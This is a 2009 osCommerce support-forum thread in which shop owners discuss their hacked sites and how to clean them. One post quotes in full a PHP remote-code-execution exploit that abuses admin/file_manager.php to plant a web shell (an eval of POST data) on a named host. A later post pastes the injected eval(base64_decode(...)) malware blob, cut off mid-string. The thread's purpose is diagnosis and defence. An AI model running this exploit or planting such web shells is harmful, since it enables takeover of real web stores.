Javascript Disabled Detected

You currently have javascript disabled. Several functions may not work. Please re-enable javascript to access full functionality.

Hosting Developers Payment Shipping Accounting Templates Marketing Books

Latest News: (loading..)

1

2 votes

Did Someone hack my site ? ( Eval Base64 Decode )

Started by Weedwaka, Sep 05 2009 12:38 PM

«
Prev

Please log in to reply

154 replies to this topic

#141 dcphosting

Members
212 posts

Real Name:Doug Poire
Gender:Male
Location:Princeton, MN 55371

@Mention

Posted 25 November 2009 - 04:29 AM

Pipeloops, on 11 September 2009 - 11:33 AM, said:

The "HOW" is clear now. Googeling for file_manager.php brought me to a security report for code injection into file_manager.php in osCOmmerce RC2.2a. No fix is known yet (other than renaming or deleting file_manager.php).

Here is the exploit:

<?php
print_r('
+---------------------------------------------------------------------------+
osCommerce Online Merchant 2.2 RC2a RCE Exploit
by Flyh4t
mail: phpsec@hotmail.com
team: http://www.wolvez.org
dork: Powered by osCommerce
Gr44tz to q1ur3n 、puret_t、uk、toby57 and all the other members of WST
Thx to exploits of blackh
+---------------------------------------------------------------------------+
');
$host ='democn.51osc.com';
$path = '/';
$admin_path = 'admin/';
$shellcode = "filename=fly.php&file_contents=test<?php%20@eval(\$_POST[aifly]);?>";
$message="POST ".$path.$admin_path."file_manager.php/login.php?action=save HTTP/1.1\r\n";
$message.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
$message.="Accept-Language: zh-cn\r\n";
$message.="Content-Type: application/x-www-form-urlencoded\r\n";
$message.="Accept-Encoding: gzip, deflate\r\n";
$message.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
$message.="Host: $host\r\n";
$message.="Content-Length: ".strlen($shellcode)."\r\n";
$message.="Connection: Close\r\n\r\n";
$message.=$shellcode;
$fd = fsockopen($host,'80');
if(!$fd)
{
	echo '[~]No response from'.$host;
	die;
}
fputs($fd,$message);
echo ("[+]Go to see U webshell : $host/fly.php");
?>

# milw0rm.com [2009-08-31]

SO: DELETE OR RENAME THE FILE MANAGER!!!

Pipeloops,

Thank you kindly for your leg work in seeking out and presenting this proof of concept on the exploit. I'm sure others in the community will also find it educational. I must confess my ignorance and acknowledge that it is a bit over my head on exactly how and why it works. Once I've caught up with my other work and get a "round-toit".... Seriously though, I'll put up a test shop and try the script out.

Doug

Doug

My newest friends are simvastatin, lispinopril, metoprolol, asprin, plavix, and my good buddy nitroquick (I take him everywhere!).

Most Frequent Criticism from English Teachers: "Awkward Sentence Construction"

Business was good until the start of 2009

Back to top

#142 Stroker396

Members
83 posts

Real Name:Mark
Location:Lost Angels, CA

@Mention

Posted 28 November 2009 - 07:54 PM

lindsayanng, on 11 September 2009 - 11:57 PM, said:

Flipping lovely.

I got hacked as well.. i found the various style.css.php and the little files that went along with it.. but does ANYONE know of an automated way to search and remove an entire line of code from a server??

I was thinking that using SSH access would work, but i am not familiar with the syntax for stuff like this. i figured out how to find and replace within an SSH session, but how do you find and DELETE within an entire directory?

Also, you guys should know that this is NOT JUST OSCOMMERCE.. they actually got into my website through wordpress.. LOTS of wordpress users have had this exact same hack..

So anyways.. no more SHOULD HAVE DONE and whos fault.. lets figure out how to fix and remove the code and how to close up the hole.

p.s. i had no filemanager.php file on my store.

Well I too am a sucker of this attack. Sure is a wake up call.

Too answer your question. If you download Notepad++ in the menu click on search, select find in files, open one of the infeced files click on the first line and copy and paste it into FIND WHAT, leave the REPLACE WITH blank, check the box to check all subfolders, then select the directory that you downloaded the catalog too. Then click on REPLACE IN FILES. DO not ckick on OK or it will stop the search. It will come back and tell you how many files it was found in and replace with nothing!
Since the FIND WHAT can only hold half of the code you will have to do this again for the second half of the code that remains but this makes for a good way to compare the number of files you just cleansed to make sure they are the same. (they will differ it you clicked the OK and had to do the serch again because you did not clense all the files the first time)

This takes a few minutes and you are good to go again, just go get the other couple of files manually.

I hope this helps someone.

I was going to rebuild the site again from scratch with all the security features, now I can just add the security to my fully optioned (tons of contribs) store.

The Site can be viewed at www.performanceautopartsonline.com

The site is live (despite these minor glitches) please respect that and do not sign up etc...

maybe a contribution one day when I get this site the way I want it.

I don't make spelling mistakes! I have dyslecsic fingers.

Back to top

#143 edsawkins

Members
15 posts

Real Name:Ed Sawkins

@Mention

Posted 16 December 2009 - 07:24 AM

ok, managed to decode:

<?php /**/ eval(base64_decode("JGs9MTI0OyRtPWV4cGxvZGUoIjsiLCIyMTsyNjs4NDsyNjs5OzE4OzMxOzg7MjE7MTk7MTg7MzU7MjU7NDsyMTsxNTs4OzE1Ozg0OzkxOzE5OzMwOzM1OzE1Ozg7Mjk7MTQ7ODs5MTs4NTs5MDs5MDs5MzsyMTsxNTsxNTsyNTs4Ozg0Ozg4OzU5OzQ4OzUxOzYyOzYxOzQ4OzQ3OzM5OzkxOzE3OzE0OzM1OzE4OzE5OzkxOzMzOzg1Ozg1Ozc7OTI7OTI7OTI7ODg7NTk7NDg7NTE7NjI7NjE7NDg7NDc7Mzk7OTE7MTc7MTQ7MzU7MTg7MTk7OTE7MzM7NjU7Nzc7NzE7OTI7OTI7OTI7MjE7MjY7ODQ7OTM7MjY7OTsxODszMTs4OzIxOzE5OzE4OzM1OzI1OzQ7MjE7MTU7ODsxNTs4NDs5MTsxNzsxNDsxOTszMDsyMDs5MTs4NTs4NTs3OzkyOzkyOzkyOzkyOzkyOzkyOzIxOzI2Ozg0OzkzOzI2Ozk7MTg7MzE7ODsyMTsxOTsxODszNTsyNTs0OzIxOzE1Ozg7MTU7ODQ7OTE7Mjc7MTc7MTY7OTE7ODU7ODU7Nzs5Mjs5Mjs5Mjs5Mjs5MjsyNjs5OzE4OzMxOzg7MjE7MTk7MTg7OTI7Mjc7MTc7MTY7ODQ7ODU7Nzs5Mjs5Mjs5Mjs5Mjs5Mjs5MjsyMTsyNjs5Mjs4NDsxNTs4OzE0OzIxOzE1Ozg7MTQ7ODQ7ODg7MzU7NDc7NTc7NDY7NDI7NTc7NDY7Mzk7OTQ7NTI7NDA7NDA7NDQ7MzU7NDE7NDc7NTc7NDY7MzU7NjE7NTk7NTc7NTA7NDA7OTQ7MzM7ODA7OTQ7Mjc7MTk7MTk7Mjc7MTY7MjU7MzA7MTk7ODs5NDs4NTswOzA7MTU7ODsxNDsyMTsxNTs4OzE0Ozg0Ozg4OzM1OzQ3OzU3OzQ2OzQyOzU3OzQ2OzM5Ozk0OzUyOzQwOzQwOzQ0OzM1OzQxOzQ3OzU3OzQ2OzM1OzYxOzU5OzU3OzUwOzQwOzk0OzMzOzgwOzk0OzU7Mjk7MjA7MTk7MTk7OTQ7ODU7ODU7Nzs5Mjs5Mjs5Mjs5Mjs5Mjs5Mjs5MjsyMTsyNjs5Mjs4NDs4NDsxNzsyNDs3Mzs4NDs4ODszNTs0Njs1Nzs0NTs0MTs1Nzs0Nzs0MDszOTs5NDsxNzsxNzsxNzsyOTsyMzsxOTsxMTsxOTsyMTsxMTsxOTsxMTs3Njs3Njs3ODs5NDszMzs4NTs2NTs2NTs5NDsyOTs3OTs2OTs3OTs3MjsyNDszMDsyNTs3ODs3NjszMDs3NjszMDs3OTsyNTs2OTszMDszMDsyNTs3NTsyOTs2OTsyNTsyNjszMTszMTs3NDs3Mzs3ODs3NDsyNjs3Mjs5NDs4NTs5MDs5MDs4NDsyMTsxNTsxNTsyNTs4Ozg0Ozg4OzM1OzQ2OzU3OzQ1OzQxOzU3OzQ3OzQwOzM5Ozk0OzE3OzE3OzE3OzI5OzIzOzE5OzExOzE5OzIxOzExOzE5OzExOzc2Ozc2Ozc3Ozk0OzMzOzg1Ozg1Ozg1Ozc7ODg7NDY7Njg7NzU7Nzg7NzM7NzY7Nzg7Njk7NTc7NjE7Njg7Njk7NzU7Nzc7Nzg7NTc7NTc7NTY7Njg7NzQ7NzU7NzY7NjI7NjE7NTc7NzQ7NzI7NTY7Nzk7NzY7NTc7NzI7NzU7NjU7MzA7Mjk7MTU7MjU7NzQ7NzI7MzU7MjQ7MjU7MzE7MTk7MjQ7MjU7ODQ7ODg7MzU7NDY7NTc7NDU7NDE7NTc7NDc7NDA7Mzk7OTQ7MTc7MTc7MTc7Mjk7MjM7MTk7MTE7MTk7MjE7MTE7MTk7MTE7NzY7NzY7Nzc7OTQ7MzM7ODU7NzE7MTQ7MjU7ODs5OzE0OzE4OzkyOzk0OzU3OzQ7MjU7MzE7OTs4OzIxOzE5OzE4OzgyOzgyOzgyOzg4OzQ2OzY4Ozc1Ozc4OzczOzc2Ozc4OzY5OzU3OzYxOzY4OzY5Ozc1Ozc3Ozc4OzU3OzU3OzU2OzY4Ozc0Ozc1Ozc2OzYyOzYxOzU3Ozc0OzcyOzU2Ozc5Ozc2OzU3OzcyOzc1OzMyOzE4Ozk0OzgyOzI1OzEwOzI5OzE2Ozg0Ozg4OzQ2OzY4Ozc1Ozc4OzczOzc2Ozc4OzY5OzU3OzYxOzY4OzY5Ozc1Ozc3Ozc4OzU3OzU3OzU2OzY4Ozc0Ozc1Ozc2OzYyOzYxOzU3Ozc0OzcyOzU2Ozc5Ozc2OzU3OzcyOzc1Ozg1OzcxOzE7OTI7OTI7OTI7OTI7OTI7OTI7OTI7ODg7NDY7NjE7NTg7NzQ7Nzk7NTc7NjE7NjE7NzU7NjE7Nzg7NTY7Nzc7NzM7NjM7NjE7NzM7Njk7NjE7NjI7NjI7Njk7NzM7NjI7NzQ7NTg7NTY7Nzc7NjE7NTg7NTc7NjI7NTg7NjU7OTQ7MjA7ODs4OzEyOzcwOzgzOzgzOzk0OzgyOzMwOzI5OzE1OzI1Ozc0OzcyOzM1OzI0OzI1OzMxOzE5OzI0OzI1Ozg0Ozk0OzM3Ozc4OzY5OzE1OzM3OzE4OzE2OzIwOzI0OzU5OzY5Ozk7MjQ7NTk7NTg7NTsyOTs0Mzs2ODs5OzM3Ozc4OzY5Ozg7OTQ7ODU7ODI7OTQ7ODM7MTY7MjE7MTg7MjM7MTU7ODM7OTQ7ODI7MTQ7Mjk7MTg7MjQ7ODQ7NzY7ODA7Nzg7NzM7NzY7ODU7ODI7OTQ7ODI7ODs0Ozg7Njc7MjE7MTI7NjU7OTQ7ODI7ODg7MzU7NDc7NTc7NDY7NDI7NTc7NDY7Mzk7OTQ7NDY7NTc7NDk7NTE7NDA7NTc7MzU7NjE7NTY7NTY7NDY7OTQ7MzM7ODI7OTQ7OTA7MjA7MTk7MTU7ODs2NTs5NDs4MjsxNDsyOTsxMTs5OzE0OzE2OzI1OzE4OzMxOzE5OzI0OzI1Ozg0Ozg4OzM1OzQ3OzU3OzQ2OzQyOzU3OzQ2OzM5Ozk0OzUyOzQwOzQwOzQ0OzM1OzUyOzUxOzQ3OzQwOzk0OzMzOzg1OzgyOzk0OzkwOzI5OzI3OzI1OzE4Ozg7NjU7OTQ7ODI7MTQ7Mjk7MTE7OTsxNDsxNjsyNTsxODszMTsxOTsyNDsyNTs4NDs4ODszNTs0Nzs1Nzs0Njs0Mjs1Nzs0NjszOTs5NDs1Mjs0MDs0MDs0NDszNTs0MTs0Nzs1Nzs0NjszNTs2MTs1OTs1Nzs1MDs0MDs5NDszMzs4NTs3MTs5Mjs5Mjs5Mjs5Mjs5Mjs5Mjs5Mjs4ODs0Njs1ODs3Mjs2ODs2Mjs1ODs1ODs2OTs3Njs3Mzs3Mzs1ODs3Mjs3NDs2Mjs2OTs3Mjs2ODs3OTs2Mjs2Mzs2OTs3Njs1Njs2Mzs3Njs2MTs3Nzs3NDs3Njs1Nzs3NDs3NTs2NTs5NDs5NDs3MTs5Mjs5Mjs5Mjs5Mjs5Mjs5Mjs5MjsyMTsyNjs5Mjs4NDsyNjs5OzE4OzMxOzg7MjE7MTk7MTg7MzU7MjU7NDsyMTsxNTs4OzE1Ozg0Ozk0OzMxOzk7MTQ7MTY7MzU7MjE7MTg7MjE7ODs5NDs4NTs4NTs5Mjs3OzkyOzkyOzkyOzkyOzkyOzkyOzkyOzkyOzg4OzQ2Ozc1OzU2OzU4OzcyOzY4Ozc3OzU2Ozc2Ozc0Ozc0Ozc3Ozc5OzY4OzYzOzU4Ozc1OzYyOzczOzU2Ozc1OzU2OzYxOzc3OzY5OzYyOzYzOzYyOzc4OzYxOzY4Ozc1OzcyOzkyOzY1OzkyOzYwOzMxOzk7MTQ7MTY7MzU7MjE7MTg7MjE7ODs4NDs4NTs3MTs5Mjs5Mjs5Mjs5Mjs5Mjs5Mjs5Mjs5Mjs2MDszMTs5OzE0OzE2OzM1OzE1OzI1Ozg7MTk7MTI7ODs5Mjs4NDs4ODs0Njs3NTs1Njs1ODs3Mjs2ODs3Nzs1Njs3Njs3NDs3NDs3Nzs3OTs2ODs2Mzs1ODs3NTs2Mjs3Mzs1Njs3NTs1Njs2MTs3Nzs2OTs2Mjs2Mzs2Mjs3ODs2MTs2ODs3NTs3Mjs4MDs5Mjs2Mzs0MTs0Njs0ODs1MTs0NDs0MDszNTs0MTs0Njs0ODs4MDs5Mjs4ODs0Njs2MTs1ODs3NDs3OTs1Nzs2MTs2MTs3NTs2MTs3ODs1Njs3Nzs3Mzs2Mzs2MTs3Mzs2OTs2MTs2Mjs2Mjs2OTs3Mzs2Mjs3NDs1ODs1Njs3Nzs2MTs1ODs1Nzs2Mjs1ODs4NTs3MTs5Mjs5Mjs5Mjs5Mjs5Mjs5Mjs5Mjs5Mjs2MDszMTs5OzE0OzE2OzM1OzE1OzI1Ozg7MTk7MTI7ODs5Mjs4NDs4ODs0Njs3NTs1Njs1ODs3Mjs2ODs3Nzs1Njs3Njs3NDs3NDs3Nzs3OTs2ODs2Mzs1ODs3NTs2Mjs3Mzs1Njs3NTs1Njs2MTs3Nzs2OTs2Mjs2Mzs2Mjs3ODs2MTs2ODs3NTs3Mjs4MDs5Mjs2Mzs0MTs0Njs0ODs1MTs0NDs0MDszNTs0Njs1Nzs0MDs0MTs0Njs1MDs0MDs0Njs2MTs1MDs0Nzs1ODs1Nzs0Njs4MDs5Mjs3Nzs4NTs3MTs5Mjs5Mjs5Mjs5Mjs5Mjs5Mjs5Mjs5Mjs2MDszMTs5OzE0OzE2OzM1OzE1OzI1Ozg7MTk7MTI7ODs5Mjs4NDs4ODs0Njs3NTs1Njs1ODs3Mjs2ODs3Nzs1Njs3Njs3NDs3NDs3Nzs3OTs2ODs2Mzs1ODs3NTs2Mjs3Mzs1Njs3NTs1Njs2MTs3Nzs2OTs2Mjs2Mzs2Mjs3ODs2MTs2ODs3NTs3Mjs4MDs5Mjs2Mzs0MTs0Njs0ODs1MTs0NDs0MDszNTs0MDs1Mzs0OTs1Nzs1MTs0MTs0MDs4MDs5Mjs3Nzs3Mzs4NTs3MTs5Mjs5Mjs5Mjs5Mjs5Mjs5Mjs5Mjs5Mjs2MDszMTs5OzE0OzE2OzM1OzE1OzI1Ozg7MTk7MTI7ODs5Mjs4NDs4ODs0Njs3NTs1Njs1ODs3Mjs2ODs3Nzs1Njs3Njs3NDs3NDs3Nzs3OTs2ODs2Mzs1ODs3NTs2Mjs3Mzs1Njs3NTs1Njs2MTs3Nzs2OTs2Mjs2Mzs2Mjs3ODs2MTs2ODs3NTs3Mjs4MDs5Mjs2Mzs0MTs0Njs0ODs1MTs0NDs0MDszNTs1Nzs1MDs2Mzs1MTs1Njs1Mzs1MDs1OTs5Mjs4MDs5Mjs5NDsyNzs2OzIxOzEyOzk0Ozg1OzcxOzkyOzkyOzkyOzkyOzkyOzkyOzkyOzkyOzg4OzQ2OzU4OzcyOzY4OzYyOzU4OzU4OzY5Ozc2OzczOzczOzU4OzcyOzc0OzYyOzY5OzcyOzY4Ozc5OzYyOzYzOzY5Ozc2OzU2OzYzOzc2OzYxOzc3Ozc0Ozc2OzU3Ozc0Ozc1OzY1OzYwOzMxOzk7MTQ7MTY7MzU7MjU7NDsyNTszMTs5Mjs4NDs4ODs0Njs3NTs1Njs1ODs3Mjs2ODs3Nzs1Njs3Njs3NDs3NDs3Nzs3OTs2ODs2Mzs1ODs3NTs2Mjs3Mzs1Njs3NTs1Njs2MTs3Nzs2OTs2Mjs2Mzs2Mjs3ODs2MTs2ODs3NTs3Mjs4NTs3MTs5Mjs5Mjs5Mjs5Mjs5Mjs5Mjs5Mjs5Mjs2MDszMTs5OzE0OzE2OzM1OzMxOzE2OzE5OzE1OzI1OzkyOzg0Ozg4OzQ2Ozc1OzU2OzU4OzcyOzY4Ozc3OzU2Ozc2Ozc0Ozc0Ozc3Ozc5OzY4OzYzOzU4Ozc1OzYyOzczOzU2Ozc1OzU2OzYxOzc3OzY5OzYyOzYzOzYyOzc4OzYxOzY4Ozc1OzcyOzg1OzcxOzkyOzkyOzkyOzkyOzkyOzkyOzkyOzE7OTI7MjU7MTY7MTU7MjU7OTI7Nzs5Mjs5Mjs5Mjs5Mjs5Mjs5Mjs5Mjs5Mjs4ODs0Njs1ODs3Mjs2ODs2Mjs1ODs1ODs2OTs3Njs3Mzs3Mzs1ODs3Mjs3NDs2Mjs2OTs3Mjs2ODs3OTs2Mjs2Mzs2OTs3Njs1Njs2Mzs3Njs2MTs3Nzs3NDs3Njs1Nzs3NDs3NTs2NTs2MDsyNjsyMTsxNjsyNTszNTsyNzsyNTs4OzM1OzMxOzE5OzE4Ozg7MjU7MTg7ODsxNTs4NDs4ODs0Njs2MTs1ODs3NDs3OTs1Nzs2MTs2MTs3NTs2MTs3ODs1Njs3Nzs3Mzs2Mzs2MTs3Mzs2OTs2MTs2Mjs2Mjs2OTs3Mzs2Mjs3NDs1ODs1Njs3Nzs2MTs1ODs1Nzs2Mjs1ODs4NTs3MTs5Mjs5Mjs5Mjs5Mjs5Mjs5Mjs5MjsxOzkyOzkyOzkyOzkyOzkyOzkyOzE7OTI7OTI7OTI7OTI7OTI7OTI7MTQ7MjU7ODs5OzE0OzE4OzkyOzg4OzQ2OzU4OzcyOzY4OzYyOzU4OzU4OzY5Ozc2OzczOzczOzU4OzcyOzc0OzYyOzY5OzcyOzY4Ozc5OzYyOzYzOzY5Ozc2OzU2OzYzOzc2OzYxOzc3Ozc0Ozc2OzU3Ozc0Ozc1OzcxOzkyOzkyOzkyOzkyOzkyOzE7OTI7OTI7OTI7OTI7MTs5Mjs5Mjs5Mjs5Mjs5Mjs5Mjs5Mjs5MjsyMTsyNjs4NDs5MzsyNjs5OzE4OzMxOzg7MjE7MTk7MTg7MzU7MjU7NDsyMTsxNTs4OzE1Ozg0OzkxOzI3OzY7MjQ7MjU7MzE7MTk7MjQ7MjU7OTE7ODU7ODU7Nzs5Mjs5Mjs5Mjs5Mjs5MjsyNjs5OzE4OzMxOzg7MjE7MTk7MTg7OTI7Mjc7NjsyNDsyNTszMTsxOTsyNDsyNTs4NDs4ODs0Njs3Mzs2MTs2OTs2Mzs1ODs3Nzs2Mjs3Mjs2OTs3NTs3Mzs3Njs3ODs2MTs2Mzs2MTs3ODs3OTs2Mzs2ODs1ODs3NDs3Nzs3Nzs2MTs3Mzs3NDs3Mjs3NDs2ODs3Mjs2Mzs4NTs3OzkyOzkyOzkyOzkyOzkyOzkyOzg4OzQ2Ozc5Ozc2OzYyOzc4OzYxOzYyOzY4OzU2OzYzOzc3OzcyOzY5Ozc0OzU2Ozc2Ozc0OzYyOzc4Ozc5Ozc2OzYxOzc1Ozc3OzU2OzY4OzY5Ozc0Ozc4OzYxOzU4OzczOzU2OzY1OzYwOzE5OzE0OzI0Ozg0OzYwOzE1Ozk7MzA7MTU7ODsxNDs4NDs4ODs0Njs3Mzs2MTs2OTs2Mzs1ODs3Nzs2Mjs3Mjs2OTs3NTs3Mzs3Njs3ODs2MTs2Mzs2MTs3ODs3OTs2Mzs2ODs1ODs3NDs3Nzs3Nzs2MTs3Mzs3NDs3Mjs3NDs2ODs3Mjs2Mzs4MDs3OTs4MDs3Nzs4NTs4NTs3MTs5Mjs5Mjs5Mjs5Mjs5Mjs5Mjs4ODs0Njs2Mjs1Nzs3Mjs2Mzs3Mjs1Njs3Njs3OTs3NTs1Nzs2OTs3OTs2OTs3ODs3ODs3NDs1ODs3NDs3Mzs2ODs3Nzs3ODs2ODs2ODs3Mzs2MTs3Mzs3OTs1Njs2MTs1Njs2OTs2NTs3Nzs3Njs3MTs5Mjs5Mjs5Mjs5Mjs5Mjs5Mjs4ODs0Njs2MTs3OTs1Njs3Mzs3ODs1Nzs3Mzs3ODs2MTs3Mjs2ODs2OTs3OTs3NDs2Mzs1Njs1Nzs3Njs1ODs3Mzs3OTs3Mzs3NDs2Mjs2Mjs3Njs2ODs3NDs3Mzs3ODs1ODs3ODs2NTs3Njs3MTs5Mjs5Mjs5Mjs5Mjs5Mjs5MjsyMTsyNjs4NDs4ODs0Njs3OTs3Njs2Mjs3ODs2MTs2Mjs2ODs1Njs2Mzs3Nzs3Mjs2OTs3NDs1Njs3Njs3NDs2Mjs3ODs3OTs3Njs2MTs3NTs3Nzs1Njs2ODs2OTs3NDs3ODs2MTs1ODs3Mzs1Njs5MDs3Mjs4NTs3OzkyOzkyOzkyOzkyOzkyOzkyOzkyOzg4OzQ2Ozc0Ozc5OzYyOzU3OzU2OzU3Ozc0OzYyOzc3OzY5Ozc4Ozc0Ozc0OzU2OzcyOzU3OzU4OzU3OzYxOzU2Ozc2Ozc1OzYxOzcyOzU2OzY5Ozc3OzU3Ozc4OzY5OzU3OzYyOzY1OzYwOzk7MTg7MTI7Mjk7MzE7MjM7ODQ7OTE7MTA7OTE7ODA7MTU7OTszMDsxNTs4OzE0Ozg0Ozg4OzQ2OzczOzYxOzY5OzYzOzU4Ozc3OzYyOzcyOzY5Ozc1OzczOzc2Ozc4OzYxOzYzOzYxOzc4Ozc5OzYzOzY4OzU4Ozc0Ozc3Ozc3OzYxOzczOzc0OzcyOzc0OzY4OzcyOzYzOzgwOzc3Ozc2OzgwOzc4Ozg1Ozg1OzcxOzkyOzkyOzkyOzkyOzkyOzkyOzkyOzg4OzQ2Ozc0Ozc5OzYyOzU3OzU2OzU3Ozc0OzYyOzc3OzY5Ozc4Ozc0Ozc0OzU2OzcyOzU3OzU4OzU3OzYxOzU2Ozc2Ozc1OzYxOzcyOzU2OzY5Ozc3OzU3Ozc4OzY5OzU3OzYyOzY1Ozg4OzQ2Ozc0Ozc5OzYyOzU3OzU2OzU3Ozc0OzYyOzc3OzY5Ozc4Ozc0Ozc0OzU2OzcyOzU3OzU4OzU3OzYxOzU2Ozc2Ozc1OzYxOzcyOzU2OzY5Ozc3OzU3Ozc4OzY5OzU3OzYyOzM5Ozc3OzMzOzcxOzkyOzkyOzkyOzkyOzkyOzkyOzkyOzg4OzQ2OzYyOzU3OzcyOzYzOzcyOzU2Ozc2Ozc5Ozc1OzU3OzY5Ozc5OzY5Ozc4Ozc4Ozc0OzU4Ozc0OzczOzY4Ozc3Ozc4OzY4OzY4OzczOzYxOzczOzc5OzU2OzYxOzU2OzY5Ozg3OzY1Ozc4Ozg3Ozg4OzQ2Ozc0Ozc5OzYyOzU3OzU2OzU3Ozc0OzYyOzc3OzY5Ozc4Ozc0Ozc0OzU2OzcyOzU3OzU4OzU3OzYxOzU2Ozc2Ozc1OzYxOzcyOzU2OzY5Ozc3OzU3Ozc4OzY5OzU3OzYyOzcxOzkyOzkyOzkyOzkyOzkyOzkyOzE7OTI7OTI7OTI7OTI7OTI7OTI7MjE7MjY7ODQ7ODg7NDY7Nzk7NzY7NjI7Nzg7NjE7NjI7Njg7NTY7NjM7Nzc7NzI7Njk7NzQ7NTY7NzY7NzQ7NjI7Nzg7Nzk7NzY7NjE7NzU7Nzc7NTY7Njg7Njk7NzQ7Nzg7NjE7NTg7NzM7NTY7OTA7Njg7ODU7Nzs5Mjs5Mjs5Mjs5Mjs5Mjs5Mjs5Mjs4ODs0Njs2Mjs1Nzs3Mjs2Mzs3Mjs1Njs3Njs3OTs3NTs1Nzs2OTs3OTs2OTs3ODs3ODs3NDs1ODs3NDs3Mzs2ODs3Nzs3ODs2ODs2ODs3Mzs2MTs3Mzs3OTs1Njs2MTs1Njs2OTs2NTs2MDsxNTs4OzE0OzEyOzE5OzE1Ozg0Ozg4OzQ2OzczOzYxOzY5OzYzOzU4Ozc3OzYyOzcyOzY5Ozc1OzczOzc2Ozc4OzYxOzYzOzYxOzc4Ozc5OzYzOzY4OzU4Ozc0Ozc3Ozc3OzYxOzczOzc0OzcyOzc0OzY4OzcyOzYzOzgwOzMxOzIwOzE0Ozg0Ozc2Ozg1OzgwOzg4OzQ2OzYyOzU3OzcyOzYzOzcyOzU2Ozc2Ozc5Ozc1OzU3OzY5Ozc5OzY5Ozc4Ozc4Ozc0OzU4Ozc0OzczOzY4Ozc3Ozc4OzY4OzY4OzczOzYxOzczOzc5OzU2OzYxOzU2OzY5Ozg1Ozg3Ozc3OzcxOzkyOzkyOzkyOzkyOzkyOzkyOzE7OTI7OTI7OTI7OTI7OTI7OTI7MjE7MjY7ODQ7ODg7NDY7Nzk7NzY7NjI7Nzg7NjE7NjI7Njg7NTY7NjM7Nzc7NzI7Njk7NzQ7NTY7NzY7NzQ7NjI7Nzg7Nzk7NzY7NjE7NzU7Nzc7NTY7Njg7Njk7NzQ7Nzg7NjE7NTg7NzM7NTY7OTA7Nzc7NzQ7ODU7Nzs5Mjs5Mjs5Mjs5Mjs5Mjs5Mjs5Mjs4ODs0Njs2Mjs1Nzs3Mjs2Mzs3Mjs1Njs3Njs3OTs3NTs1Nzs2OTs3OTs2OTs3ODs3ODs3NDs1ODs3NDs3Mzs2ODs3Nzs3ODs2ODs2ODs3Mzs2MTs3Mzs3OTs1Njs2MTs1Njs2OTs2NTs2MDsxNTs4OzE0OzEyOzE5OzE1Ozg0Ozg4OzQ2OzczOzYxOzY5OzYzOzU4Ozc3OzYyOzcyOzY5Ozc1OzczOzc2Ozc4OzYxOzYzOzYxOzc4Ozc5OzYzOzY4OzU4Ozc0Ozc3Ozc3OzYxOzczOzc0OzcyOzc0OzY4OzcyOzYzOzgwOzMxOzIwOzE0Ozg0Ozc2Ozg1OzgwOzg4OzQ2OzYyOzU3OzcyOzYzOzcyOzU2Ozc2Ozc5Ozc1OzU3OzY5Ozc5OzY5Ozc4Ozc4Ozc0OzU4Ozc0OzczOzY4Ozc3Ozc4OzY4OzY4OzczOzYxOzczOzc5OzU2OzYxOzU2OzY5Ozg1Ozg3Ozc3OzcxOzkyOzkyOzkyOzkyOzkyOzkyOzE7OTI7OTI7OTI7OTI7OTI7OTI7MjE7MjY7ODQ7ODg7NDY7Nzk7NzY7NjI7Nzg7NjE7NjI7Njg7NTY7NjM7Nzc7NzI7Njk7NzQ7NTY7NzY7NzQ7NjI7Nzg7Nzk7NzY7NjE7NzU7Nzc7NTY7Njg7Njk7NzQ7Nzg7NjE7NTg7NzM7NTY7OTA7Nzg7ODU7Nzs5Mjs5Mjs5Mjs5Mjs5Mjs5Mjs5Mjs4ODs0Njs2Mjs1Nzs3Mjs2Mzs3Mjs1Njs3Njs3OTs3NTs1Nzs2OTs3OTs2OTs3ODs3ODs3NDs1ODs3NDs3Mzs2ODs3Nzs3ODs2ODs2ODs3Mzs2MTs3Mzs3OTs1Njs2MTs1Njs2OTs4Nzs2NTs3ODs3MTs5Mjs5Mjs5Mjs5Mjs5Mjs5MjsxOzkyOzkyOzkyOzkyOzkyOzkyOzg4OzQ2Ozc2Ozc5OzcyOzYxOzU3Ozc4OzYxOzYyOzY5OzcyOzU4OzY5OzY5OzYzOzYzOzY4Ozc3OzYyOzc5OzY4OzY5OzYxOzc3OzY4Ozc4Ozc4OzU2OzYxOzc5Ozc5OzczOzc5OzY1OzYwOzI3OzY7MjE7MTg7MjY7MTY7Mjk7ODsyNTs4NDs2MDsxNTs5OzMwOzE1Ozg7MTQ7ODQ7ODg7NDY7NzM7NjE7Njk7NjM7NTg7Nzc7NjI7NzI7Njk7NzU7NzM7NzY7Nzg7NjE7NjM7NjE7Nzg7Nzk7NjM7Njg7NTg7NzQ7Nzc7Nzc7NjE7NzM7NzQ7NzI7NzQ7Njg7NzI7NjM7ODA7ODg7NDY7NjI7NTc7NzI7NjM7NzI7NTY7NzY7Nzk7NzU7NTc7Njk7Nzk7Njk7Nzg7Nzg7NzQ7NTg7NzQ7NzM7Njg7Nzc7Nzg7Njg7Njg7NzM7NjE7NzM7Nzk7NTY7NjE7NTY7Njk7ODU7ODU7NzE7OTI7OTI7OTI7OTI7OTI7OTI7MjE7MjY7ODQ7ODg7NDY7NzY7Nzk7NzI7NjE7NTc7Nzg7NjE7NjI7Njk7NzI7NTg7Njk7Njk7NjM7NjM7Njg7Nzc7NjI7Nzk7Njg7Njk7NjE7Nzc7Njg7Nzg7Nzg7NTY7NjE7Nzk7Nzk7NzM7Nzk7NjU7NjU7NjU7NTg7NjE7NDg7NDc7NTc7ODU7Nzs5Mjs5Mjs5Mjs5Mjs5Mjs5Mjs5Mjs4ODs0Njs3Njs3OTs3Mjs2MTs1Nzs3ODs2MTs2Mjs2OTs3Mjs1ODs2OTs2OTs2Mzs2Mzs2ODs3Nzs2Mjs3OTs2ODs2OTs2MTs3Nzs2ODs3ODs3ODs1Njs2MTs3OTs3OTs3Mzs3OTs2NTs4ODs0Njs3Mzs2MTs2OTs2Mzs1ODs3Nzs2Mjs3Mjs2OTs3NTs3Mzs3Njs3ODs2MTs2Mzs2MTs3ODs3OTs2Mzs2ODs1ODs3NDs3Nzs3Nzs2MTs3Mzs3NDs3Mjs3NDs2ODs3Mjs2Mzs3MTs5Mjs5Mjs5Mjs5Mjs5Mjs5MjsxOzkyOzkyOzkyOzkyOzkyOzkyOzE0OzI1Ozg7OTsxNDsxODs5Mjs4ODs0Njs3Njs3OTs3Mjs2MTs1Nzs3ODs2MTs2Mjs2OTs3Mjs1ODs2OTs2OTs2Mzs2Mzs2ODs3Nzs2Mjs3OTs2ODs2OTs2MTs3Nzs2OD